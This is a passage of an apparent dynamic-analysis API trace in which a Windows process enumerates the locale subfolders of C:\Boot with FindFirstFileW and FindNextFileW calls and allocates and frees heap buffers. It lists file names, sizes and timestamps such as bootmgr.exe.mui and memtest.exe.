nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.686] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.686] GetProcessHeap () returned 0x550000 [0194.686] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.686] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0194.686] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0194.686] GetProcessHeap () returned 0x550000 [0194.686] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.686] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.687] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.687] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.687] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.687] GetProcessHeap () returned 0x550000 [0194.687] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.687] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0194.687] GetProcessHeap () returned 0x550000 [0194.687] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.688] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.688] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.688] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.688] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.688] GetProcessHeap () returned 0x550000 [0194.688] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.688] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0194.688] GetProcessHeap () returned 0x550000 [0194.688] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.691] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.691] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.691] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.691] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.691] GetProcessHeap () returned 0x550000 [0194.691] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.691] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0194.691] GetProcessHeap () returned 0x550000 [0194.691] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.691] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.691] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.692] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.692] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.692] GetProcessHeap () returned 0x550000 [0194.692] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.692] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0194.692] GetProcessHeap () returned 0x550000 [0194.692] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.692] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.692] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.693] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.693] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.693] GetProcessHeap () returned 0x550000 [0194.693] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.693] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0194.693] GetProcessHeap () returned 0x550000 [0194.693] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.693] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.693] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.693] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.693] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.693] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.693] GetProcessHeap () returned 0x550000 [0194.694] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.694] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0194.694] GetProcessHeap () returned 0x550000 [0194.694] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.694] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.694] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.694] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.694] FindClose (in: hFindFile=0x570f38 | out: hFindFile=0x570f38) returned 1 [0194.694] GetProcessHeap () returned 0x550000 [0194.694] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b5380 | out: hHeap=0x550000) returned 1 [0194.694] FindNextFileW (in: hFindFile=0x572470, lpFindFileData=0x275f570 | out: lpFindFileData=0x275f570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0194.694] GetProcessHeap () returned 0x550000 [0194.694] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b5380 [0194.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570f38 [0194.695] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.695] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.695] FindNextFileW (in: hFindFile=0x570f38, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", 